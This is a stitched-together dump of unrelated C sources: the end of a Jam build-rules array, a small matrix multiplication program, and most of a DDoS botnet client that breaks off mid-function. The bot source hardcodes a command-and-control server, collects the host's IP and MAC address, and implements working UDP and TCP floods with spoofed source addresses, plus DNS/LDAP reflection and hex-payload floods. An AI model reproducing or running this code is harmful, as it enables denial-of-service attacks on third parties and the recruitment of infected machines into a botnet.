"else if $(TOOLSET) = LCC\n",
"{\n",
"actions together piecemeal Archive\n",
"{\n",
"$(AR) /out:$(<) $(>) \n",
"}\n",
"actions Cc\n",
"{\n",
"$(CC) $(CCFLAGS) $(OPTIM) -Fo$(<) -I$(HDRS) $(>)\n",
"}\n",
"actions Link bind NEEDLIBS\n",
"{\n",
"$(LINK) $(LINKFLAGS) -o $(<) $(UNDEFS) $(>) $(NEEDLIBS) $(LINKLIBS)\n",
"}\n",
"actions Shell\n",
"{\n",
"$(CP) $(>) $(<)\n",
"}\n",
"}\n",
"}\n",
"else if $(OS2) \n",
"{\n",
"if $(TOOLSET) = WATCOM\n",
"{\n",
"actions together piecemeal Archive\n",
"{\n",
"$(AR) $(<) +-$(>) \n",
"}\n",
"actions Cc\n",
"{\n",
"$(CC) $(CCFLAGS) $(OPTIM) /Fo=$(<) /I$(HDRS) $(>)\n",
"}\n",
"actions C++\n",
"{\n",
"$(C++) $(C++FLAGS) $(OPTIM) /Fo=$(<) /I$(HDRS) $(>)\n",
"}\n",
"actions Link bind NEEDLIBS\n",
"{\n",
"$(LINK) $(LINKFLAGS) /Fe=$(<) $(UNDEFS) $(>) $(NEEDLIBS) $(LINKLIBS)\n",
"}\n",
"actions Shell\n",
"{\n",
"$(CP) $(>) $(<)\n",
"}\n",
"}\n",
"else if $(TOOLSET) = EMX\n",
"{\n",
"actions together piecemeal Archive\n",
"{\n",
"$(AR) $(<) $(>:T)\n",
"}\n",
"actions Cc\n",
"{\n",
"$(CC) -c $(CCFLAGS) $(OPTIM) -I$(HDRS) -o$(<) $(>)\n",
"}\n",
"actions C++\n",
"{\n",
"$(C++) -c $(C++FLAGS) $(OPTIM) -I$(HDRS) -o$(<) $(>)\n",
"}\n",
"}\n",
"}\n",
"else if $(VMS)\n",
"{\n",
"actions updated together piecemeal Archive \n",
"{\n",
"lib/replace $(<) $(>[1]) ,$(>[2-])\n",
"}\n",
"actions Cc\n",
"{ \n",
"$(CC)/obj=$(<) $(CCFLAGS) $(OPTIM) $(SLASHINC) $(>) \n",
"}\n",
"actions C++\n",
"{ \n",
"$(C++)/obj=$(<) $(C++FLAGS) $(OPTIM) $(SLASHINC) $(>) \n",
"}\n",
"actions piecemeal together existing Clean\n",
"{\n",
"$(RM) $(>[1]);* ,$(>[2-]);*\n",
"}\n",
"actions together quietly CreLib\n",
"{\n",
"if f$search(\"$(<)\") .eqs. \"\" then lib/create $(<)\n",
"}\n",
"actions GenFile1\n",
"{\n",
"mcr $(>[1]) $(<) $(>[2-])\n",
"}\n",
"actions Link bind NEEDLIBS\n",
"{\n",
"$(LINK)/exe=$(<) $(LINKFLAGS) $(>[1]) ,$(>[2-]) ,$(NEEDLIBS)/lib ,$(LINKLIBS)\n",
"}\n",
"actions quietly updated piecemeal together RmTemps\n",
"{\n",
"$(RM) $(>[1]);* ,$(>[2-]);*\n",
"}\n",
"actions Shell\n",
"{\n",
"$(CP) $(>) $(<)\n",
"}\n",
"}\n",
"else if $(MAC)\n",
"{\n",
"actions together Archive \n",
"{\n",
"$(LINK) -library -o $(<) $(>)\n",
"}\n",
"actions Cc\n",
"{\n",
"set -e MWCincludes $(MACINC)\n",
"$(CC) -o $(<) $(CCFLAGS) $(OPTIM) $(>) \n",
"}\n",
"actions C++\n",
"{ \n",
"set -e MWCincludes $(MACINC)\n",
"$(CC) -o $(<) $(C++FLAGS) $(OPTIM) $(>) \n",
"}\n",
"actions Link bind NEEDLIBS\n",
"{\n",
"$(LINK) -o $(<) $(LINKFLAGS) $(>) $(NEEDLIBS) \"$(LINKLIBS)\"\n",
"}\n",
"}\n",
"rule BULK { Bulk $(<) : $(>) ; }\n",
"rule FILE { File $(<) : $(>) ; }\n",
"rule HDRRULE { HdrRule $(<) : $(>) ; }\n",
"rule INSTALL { Install $(<) : $(>) ; }\n",
"rule LIBRARY { Library $(<) : $(>) ; }\n",
"rule LIBS { LinkLibraries $(<) : $(>) ; }\n",
"rule LINK { Link $(<) : $(>) ; }\n",
"rule MAIN { Main $(<) : $(>) ; }\n",
"rule SETUID { Setuid $(<) ; }\n",
"rule SHELL { Shell $(<) : $(>) ; }\n",
"rule UNDEFINES { Undefines $(<) : $(>) ; }\n",
"rule INSTALLBIN { InstallBin $(BINDIR) : $(<) ; }\n",
"rule INSTALLLIB { InstallLib $(LIBDIR) : $(<) ; }\n",
"rule INSTALLMAN { InstallMan $(MANDIR) : $(<) ; }\n",
"rule addDirName { $(<) += [ FDirName $(>) ] ; }\n",
"rule makeDirName { $(<) = [ FDirName $(>) ] ; }\n",
"rule makeGristedName { $(<) = [ FGristSourceFiles $(>) ] ; }\n",
"rule makeRelPath { $(<[1]) = [ FRelPath $(<[2-]) : $(>) ] ; }\n",
"rule makeSuffixed { $(<[1]) = [ FAppendSuffix $(>) : $(<[2]) ] ; }\n",
"{\n",
"if $(JAMFILE) { include $(JAMFILE) ; }\n",
"}\n",
"}\n",
0 };
|
the_stack_data/1162963.c | #include <stdio.h>
#include <stdlib.h>
int main() {
int n;
scanf("%d", &n);
int* niz = malloc(n * sizeof(int));
for (int i = 0; i < n; i++) {
scanf("%d", niz + i);
}
int* mat = malloc(n * n * sizeof(int));
for (int j = 0; j < n; j++) {
for (int i = 0; i < n; i++) {
*(mat + j*n + i) = niz[j] * niz[i];
}
}
for (int j = 0; j < n; j++) {
for (int i = 0; i < n; i++) {
printf("%3d", *(mat + j*n + i));
}
printf("\n");
}
free(niz);
free(mat);
return 0;
}
|
the_stack_data/3300.c | /*
* This bot is very simple, the smaller the bot the better.
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdarg.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <strings.h>
#include <string.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <net/if.h>
#define SERVER_LIST_SIZE (sizeof(Simpsserv) / sizeof(unsigned char *))
#define PAD_RIGHT 1
#define PAD_ZERO 2
#define PRINT_BUF_LEN 12
#define PHI 0x9e3779b9
#define power 512 /* ovh method power */
#define stdpower 250 /* std method power */
#define dnspower 250 /* dns methid power */
unsigned char *Simpsserv[] = {"45.14.224.127:65525"}; //1.1.1.1:65525
int initConnection();
void makeRandomStr(unsigned char *buf, int length);
int sockprintf(int sock, char *formatStr, ...);
char *inet_ntoa(struct in_addr in);
int Simpsicsock = 0, currentServer = -1, gotIP = 0;
uint32_t *pids;
uint64_t numpids = 0;
struct in_addr ourIP;
static uint32_t x, y, z, w;
static uint32_t Q[4096], c = 362436;
unsigned char macAddress[6] = {0};
const char *useragents[] = {
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36",
};
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++)
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (uint32_t)(t >> 32);
x = t + c;
if (x < c)
{
x++;
c++;
}
return (Q[i] = r - x);
}
in_addr_t getRandomIP(in_addr_t netmask)
{
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
return tmp ^ (rand_cmwc() & ~netmask);
}
struct bot_id
{
char id[512];
} bot;
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
{
int got = 1, total = 0;
while (got == 1 && total < bufferSize && *(buffer + total - 1) != '\n')
{
got = read(fd, buffer + total, 1);
total++;
}
return got == 0 ? NULL : buffer;
}
int socket_connect(char *host, in_port_t port)
{
struct hostent *hp;
struct sockaddr_in addr;
int on = 1, sock;
if ((hp = gethostbyname(host)) == NULL)
return 0;
bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
if (sock == -1)
return 0;
if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
return 0;
return sock;
}
int getOurIP()
{
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == -1)
return 0;
struct sockaddr_in serv;
memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = inet_addr("8.8.8.8");
serv.sin_port = htons(53);
int err = connect(sock, (const struct sockaddr *)&serv, sizeof(serv));
if (err == -1)
return 0;
struct sockaddr_in name;
socklen_t namelen = sizeof(name);
err = getsockname(sock, (struct sockaddr *)&name, &namelen);
if (err == -1)
return 0;
ourIP.s_addr = name.sin_addr.s_addr;
int cmdline = open("/proc/net/route", O_RDONLY);
char linebuf[4096];
while (fdgets(linebuf, 4096, cmdline) != NULL)
{
if (strstr(linebuf, "\t00000000\t") != NULL)
{
unsigned char *pos = linebuf;
while (*pos != '\t')
pos++;
*pos = 0;
break;
}
memset(linebuf, 0, 4096);
}
close(cmdline);
if (*linebuf)
{
int i;
struct ifreq ifr;
strcpy(ifr.ifr_name, linebuf);
ioctl(sock, SIOCGIFHWADDR, &ifr);
for (i = 0; i < 6; i++)
macAddress[i] = ((unsigned char *)ifr.ifr_hwaddr.sa_data)[i];
}
close(sock);
}
void trim(char *str)
{
int i;
int begin = 0;
int end = strlen(str) - 1;
while (isspace(str[begin]))
begin++;
while ((end >= begin) && isspace(str[end]))
end--;
for (i = begin; i <= end; i++)
str[i - begin] = str[i];
str[i - begin] = '\0';
}
static void printchar(unsigned char **str, int c)
{
if (str)
{
**str = c;
++(*str);
}
else
(void)write(1, &c, 1);
}
static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
{
register int pc = 0, padchar = ' ';
if (width > 0)
{
register int len = 0;
register const unsigned char *ptr;
for (ptr = string; *ptr; ++ptr)
++len;
if (len >= width)
width = 0;
else
width -= len;
if (pad & PAD_ZERO)
padchar = '0';
}
if (!(pad & PAD_RIGHT))
{
for (; width > 0; --width)
{
printchar(out, padchar);
++pc;
}
}
for (; *string; ++string)
{
printchar(out, *string);
++pc;
}
for (; width > 0; --width)
{
printchar(out, padchar);
++pc;
}
return pc;
}
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
{
unsigned char print_buf[PRINT_BUF_LEN];
register unsigned char *s;
register int t, neg = 0, pc = 0;
register unsigned int u = i;
if (i == 0)
{
print_buf[0] = '0';
print_buf[1] = '\0';
return prints(out, print_buf, width, pad);
}
if (sg && b == 10 && i < 0)
{
neg = 1;
u = -i;
}
s = print_buf + PRINT_BUF_LEN - 1;
*s = '\0';
while (u)
{
t = u % b;
if (t >= 10)
t += letbase - '0' - 10;
*--s = t + '0';
u /= b;
}
if (neg)
{
if (width && (pad & PAD_ZERO))
{
printchar(out, '-');
++pc;
--width;
}
else
{
*--s = '-';
}
}
return pc + prints(out, s, width, pad);
}
static int print(unsigned char **out, const unsigned char *format, va_list args)
{
register int width, pad;
register int pc = 0;
unsigned char scr[2];
for (; *format != 0; ++format)
{
if (*format == '%')
{
++format;
width = pad = 0;
if (*format == '\0')
break;
if (*format == '%')
goto out;
if (*format == '-')
{
++format;
pad = PAD_RIGHT;
}
while (*format == '0')
{
++format;
pad |= PAD_ZERO;
}
for (; *format >= '0' && *format <= '9'; ++format)
{
width *= 10;
width += *format - '0';
}
if (*format == 's')
{
register char *s = (char *)va_arg(args, int);
pc += prints(out, s ? s : "(null)", width, pad);
continue;
}
if (*format == 'd')
{
pc += printi(out, va_arg(args, int), 10, 1, width, pad, 'a');
continue;
}
if (*format == 'x')
{
pc += printi(out, va_arg(args, int), 16, 0, width, pad, 'a');
continue;
}
if (*format == 'X')
{
pc += printi(out, va_arg(args, int), 16, 0, width, pad, 'A');
continue;
}
if (*format == 'u')
{
pc += printi(out, va_arg(args, int), 10, 0, width, pad, 'a');
continue;
}
if (*format == 'c')
{
scr[0] = (unsigned char)va_arg(args, int);
scr[1] = '\0';
pc += prints(out, scr, width, pad);
continue;
}
}
else
{
out:
printchar(out, *format);
++pc;
}
}
if (out)
**out = '\0';
va_end(args);
return pc;
}
int sockprintf(int sock, char *formatStr, ...)
{
unsigned char *textBuffer = malloc(2048);
memset(textBuffer, 0, 2048);
char *orig = textBuffer;
va_list args;
va_start(args, formatStr);
print(&textBuffer, formatStr, args);
va_end(args);
orig[strlen(orig)] = '\n';
int q = send(sock, orig, strlen(orig), MSG_NOSIGNAL);
free(orig);
return q;
}
int getHost(unsigned char *toGet, struct in_addr *i)
{
struct hostent *h;
if ((i->s_addr = inet_addr(toGet)) == -1)
return 1;
return 0;
}
void makeRandomStr(unsigned char *buf, int length)
{
int i = 0;
for (i = 0; i < length; i++)
buf[i] = (rand_cmwc() % (91 - 65)) + 65;
}
int recvLine(int socket, unsigned char *buf, int bufsize)
{
memset(buf, 0, bufsize);
fd_set myset;
struct timeval tv;
tv.tv_sec = 30;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(socket, &myset);
int selectRtn, retryCount;
if ((selectRtn = select(socket + 1, &myset, NULL, &myset, &tv)) <= 0)
{
while (retryCount < 10)
{
tv.tv_sec = 30;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(socket, &myset);
if ((selectRtn = select(socket + 1, &myset, NULL, &myset, &tv)) <= 0)
{
retryCount++;
continue;
}
break;
}
}
unsigned char tmpchr;
unsigned char *cp;
int count = 0;
cp = buf;
while (bufsize-- > 1)
{
if (recv(Simpsicsock, &tmpchr, 1, 0) != 1)
{
*cp = 0x00;
return -1;
}
*cp++ = tmpchr;
if (tmpchr == '\n')
break;
count++;
}
*cp = 0x00;
return count;
}
int connectTimeout(int fd, char *host, int port, int timeout)
{
struct sockaddr_in dest_addr;
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt;
long arg = fcntl(fd, F_GETFL, NULL);
arg |= O_NONBLOCK;
fcntl(fd, F_SETFL, arg);
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if (getHost(host, &dest_addr.sin_addr))
return 0;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
if (res < 0)
{
if (errno == EINPROGRESS)
{
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(fd, &myset);
if (select(fd + 1, NULL, &myset, NULL, &tv) > 0)
{
lon = sizeof(int);
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void *)(&valopt), &lon);
if (valopt)
return 0;
}
else
return 0;
}
else
return 0;
}
arg = fcntl(fd, F_GETFL, NULL);
arg &= (~O_NONBLOCK);
fcntl(fd, F_SETFL, arg);
return 1;
}
int listFork()
{
uint32_t parent, *newpids, i;
parent = fork();
if (parent <= 0)
return parent;
numpids++;
newpids = (uint32_t *)malloc((numpids + 1) * 4);
for (i = 0; i < numpids - 1; i++)
newpids[i] = pids[i];
newpids[numpids - 1] = parent;
free(pids);
pids = newpids;
return parent;
}
unsigned short csum(unsigned short *buf, int count)
{
register uint64_t sum = 0;
while (count > 1)
{
sum += *buf++;
count -= 2;
}
if (count > 0)
{
sum += *(unsigned char *)buf;
}
while (sum >> 16)
{
sum = (sum & 0xffff) + (sum >> 16);
}
return (uint16_t)(~sum);
}
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
{
struct tcp_pseudo
{
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
} pseudohead;
unsigned short total_len = iph->tot_len;
pseudohead.src_addr = iph->saddr;
pseudohead.dst_addr = iph->daddr;
pseudohead.zero = 0;
pseudohead.proto = IPPROTO_TCP;
pseudohead.length = htons(sizeof(struct tcphdr));
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
unsigned short *tcp = malloc(totaltcp_len);
memcpy((unsigned char *)tcp, &pseudohead, sizeof(struct tcp_pseudo));
memcpy((unsigned char *)tcp + sizeof(struct tcp_pseudo), (unsigned char *)tcph, sizeof(struct tcphdr));
unsigned short output = csum(tcp, totaltcp_len);
free(tcp);
return output;
}
uint16_t checksum_tcp_udp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
{
const uint16_t *buf = buff;
uint32_t ip_src = iph->saddr;
uint32_t ip_dst = iph->daddr;
uint32_t sum = 0;
int length = len;
while (len > 1)
{
sum += *buf;
buf++;
len -= 2;
}
if (len == 1)
sum += *((uint8_t *)buf);
sum += (ip_src >> 16) & 0xFFFF;
sum += ip_src & 0xFFFF;
sum += (ip_dst >> 16) & 0xFFFF;
sum += ip_dst & 0xFFFF;
sum += htons(iph->protocol);
sum += data_len;
while (sum >> 16)
sum = (sum & 0xFFFF) + (sum >> 16);
return ((uint16_t)(~sum));
}
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + packetSize;
iph->id = rand_cmwc();
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = protocol;
iph->check = 0;
iph->saddr = source;
iph->daddr = dest;
}
void audp(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
{
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
if (port == 0)
dest_addr.sin_port = rand_cmwc();
else
dest_addr.sin_port = htons(port);
if (getHost(target, &dest_addr.sin_addr))
return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
register unsigned int pollRegister;
pollRegister = pollinterval;
if (spoofit == 32)
{
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (!sockfd)
{
return;
}
unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
if (buf == NULL)
return;
memset(buf, 0, packetsize + 1);
makeRandomStr(buf, packetsize);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while (1)
{
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
if (i == pollRegister)
{
if (port == 0)
dest_addr.sin_port = rand_cmwc();
if (time(NULL) > end)
break;
i = 0;
continue;
}
i++;
}
}
else
{
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (!sockfd)
{
return;
}
int tmp = 1;
if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof(tmp)) < 0)
{
return;
}
int counter = 50;
while (counter--)
{
srand(time(NULL) ^ rand_cmwc());
init_rand(rand());
}
in_addr_t netmask;
if (spoofit == 0)
netmask = (~((in_addr_t)-1));
else
netmask = (~((1 << (32 - spoofit)) - 1));
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
struct iphdr *iph = (struct iphdr *)packet;
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl(getRandomIP(netmask)), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
udph->len = htons(sizeof(struct udphdr) + packetsize);
udph->source = rand_cmwc();
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
udph->check = 0;
makeRandomStr((unsigned char *)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
iph->check = csum((unsigned short *)packet, iph->tot_len);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while (1)
{
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
udph->source = rand_cmwc();
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
iph->id = rand_cmwc();
iph->saddr = htonl(getRandomIP(netmask));
iph->check = csum((unsigned short *)packet, iph->tot_len);
if (i == pollRegister)
{
if (time(NULL) > end)
break;
i = 0;
continue;
}
i++;
}
}
}
void atcp(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
{
register unsigned int pollRegister;
pollRegister = pollinterval;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
if (port == 0)
dest_addr.sin_port = rand_cmwc();
else
dest_addr.sin_port = htons(port);
if (getHost(target, &dest_addr.sin_addr))
return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (!sockfd)
{
return;
}
int tmp = 1;
if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof(tmp)) < 0)
{
return;
}
in_addr_t netmask;
if (spoofit == 0)
netmask = (~((in_addr_t)-1));
else
netmask = (~((1 << (32 - spoofit)) - 1));
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
struct iphdr *iph = (struct iphdr *)packet;
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl(getRandomIP(netmask)), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
tcph->source = rand_cmwc();
tcph->seq = rand_cmwc();
tcph->ack_seq = 0;
tcph->doff = 5;
if (!strcmp(flags, "all"))
{
tcph->syn = 1;
tcph->rst = 1;
tcph->fin = 1;
tcph->ack = 1;
tcph->psh = 1;
}
else
{
unsigned char *pch = strtok(flags, ",");
while (pch)
{
if (!strcmp(pch, "syn"))
{
tcph->syn = 1;
}
else if (!strcmp(pch, "rst"))
{
tcph->rst = 1;
}
else if (!strcmp(pch, "fin"))
{
tcph->fin = 1;
}
else if (!strcmp(pch, "ack"))
{
tcph->ack = 1;
}
else if (!strcmp(pch, "psh"))
{
tcph->psh = 1;
}
else
{
}
pch = strtok(NULL, ",");
}
}
tcph->window = rand_cmwc();
tcph->check = 0;
tcph->urg_ptr = 0;
tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
tcph->check = tcpcsum(iph, tcph);
iph->check = csum((unsigned short *)packet, iph->tot_len);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while (1)
{
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
iph->saddr = htonl(getRandomIP(netmask));
iph->id = rand_cmwc();
tcph->seq = rand_cmwc();
tcph->source = rand_cmwc();
tcph->check = 0;
tcph->check = tcpcsum(iph, tcph);
iph->check = csum((unsigned short *)packet, iph->tot_len);
if (i == pollRegister)
{
if (time(NULL) > end)
break;
i = 0;
continue;
}
i++;
}
}
void adns(unsigned char *ip, int port, int secs)
{
int dns;
dns = socket(AF_INET, SOCK_DGRAM, 0);
time_t start = time(NULL);
struct sockaddr_in sin;
struct hostent *hp;
hp = gethostbyname(ip);
bzero((char *)&sin, sizeof(sin));
bcopy(hp->h_addr, (char *)&sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = port;
unsigned int a = 0;
while (1)
{
char *dnsstrings[] = {"\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00"};
if (a >= 50)
{
send(dns, dnsstrings, dnspower, 0);
connect(dns, (struct sockaddr *)&sin, sizeof(sin));
if (time(NULL) >= start + secs)
{
close(dns);
_exit(0);
}
a = 0;
}
a++;
}
}
void std(unsigned char *ip, int port, int secs)
{
int std_hex;
std_hex = socket(AF_INET, SOCK_DGRAM, 0);
time_t start = time(NULL);
struct sockaddr_in sin;
struct hostent *hp;
hp = gethostbyname(ip);
bzero((char *)&sin, sizeof(sin));
bcopy(hp->h_addr, (char *)&sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = port;
unsigned int a = 0;
while (1)
{
char *hexstring[] = {"\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"};
if (a >= 50)
{
send(std_hex, hexstring, stdpower, 0);
connect(std_hex, (struct sockaddr *)&sin, sizeof(sin));
if (time(NULL) >= start + secs)
{
close(std_hex);
_exit(0);
}
a = 0;
}
a++;
}
}
void ovhl7(char *host, in_port_t port, int timeEnd)
{
int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
char request[512], buffer[1], pgetData[2048];
sprintf(pgetData, "\x00", "\x01", "\x02",
"\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\x09",
"\x0a", "\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10",
"\x11", "\x12", "\x13", "\x14", "\x15", "\x16", "\x17",
"\x18", "\x19", "\x1a", "\x1b", "\x1c", "\x1d", "\x1e",
"\x1f", "\x20", "\x21", "\x22", "\x23", "\x24", "\x25",
"\x26", "\x27", "\x28", "\x29", "\x2a", "\x2b", "\x2c",
"\x2d", "\x2e", "\x2f", "\x30", "\x31", "\x32", "\x33",
"\x34", "\x35", "\x36", "\x37", "\x38", "\x39", "\x3a",
"\x3b", "\x3c", "\x3d", "\x3e", "\x3f", "\x40", "\x41",
"\x42", "\x43", "\x44", "\x45", "\x46", "\x47", "\x48",
"\x49", "\x4a", "\x4b", "\x4c", "\x4d", "\x4e", "\x4f",
"\x50", "\x51", "\x52", "\x53", "\x54", "\x55", "\x56",
"\x57", "\x58", "\x59", "\x5a", "\x5b", "\x5c", "\x5d",
"\x5e", "\x5f", "\x60", "\x61", "\x62", "\x63", "\x64",
"\x65", "\x66", "\x67", "\x68", "\x69", "\x6a", "\x6b",
"\x6c", "\x6d", "\x6e", "\x6f", "\x70", "\x71", "\x72",
"\x73", "\x74", "\x75", "\x76", "\x77", "\x78", "\x79",
"\x7a", "\x7b", "\x7c", "\x7d", "\x7e", "\x7f", "\x80",
"\x81", "\x82", "\x83", "\x84", "\x85", "\x86", "\x87",
"\x88", "\x89", "\x8a", "\x8b", "\x8c", "\x8d", "\x8e",
"\x8f", "\x90", "\x91", "\x92", "\x93", "\x94", "\x95",
"\x96", "\x97", "\x98", "\x99", "\x9a", "\x9b", "\x9c",
"\x9d", "\x9e", "\x9f", "\xa0", "\xa1", "\xa2", "\xa3",
"\xa4", "\xa5", "\xa6", "\xa7", "\xa8", "\xa9", "\xaa",
"\xab", "\xac", "\xad", "\xae", "\xaf", "\xb0", "\xb1",
"\xb2", "\xb3", "\xb4", "\xb5", "\xb6", "\xb7", "\xb8",
"\xb9", "\xba", "\xbb", "\xbc", "\xbd", "\xbe", "\xbf",
"\xc0", "\xc1", "\xc2", "\xc3", "\xc4", "\xc5", "\xc6",
"\xc7", "\xc8", "\xc9", "\xca", "\xcb", "\xcc", "\xcd",
"\xce", "\xcf", "\xd0", "\xd1", "\xd2", "\xd3", "\xd4",
"\xd5", "\xd6", "\xd7", "\xd8", "\xd9", "\xda", "\xdb",
"\xdc", "\xdd", "\xde", "\xdf", "\xe0", "\xe1", "\xe2",
"\xe3", "\xe4", "\xe5", "\xe6", "\xe7", "\xe8", "\xe9",
"\xea", "\xeb", "\xec", "\xed", "\xee", "\xef", "\xf0",
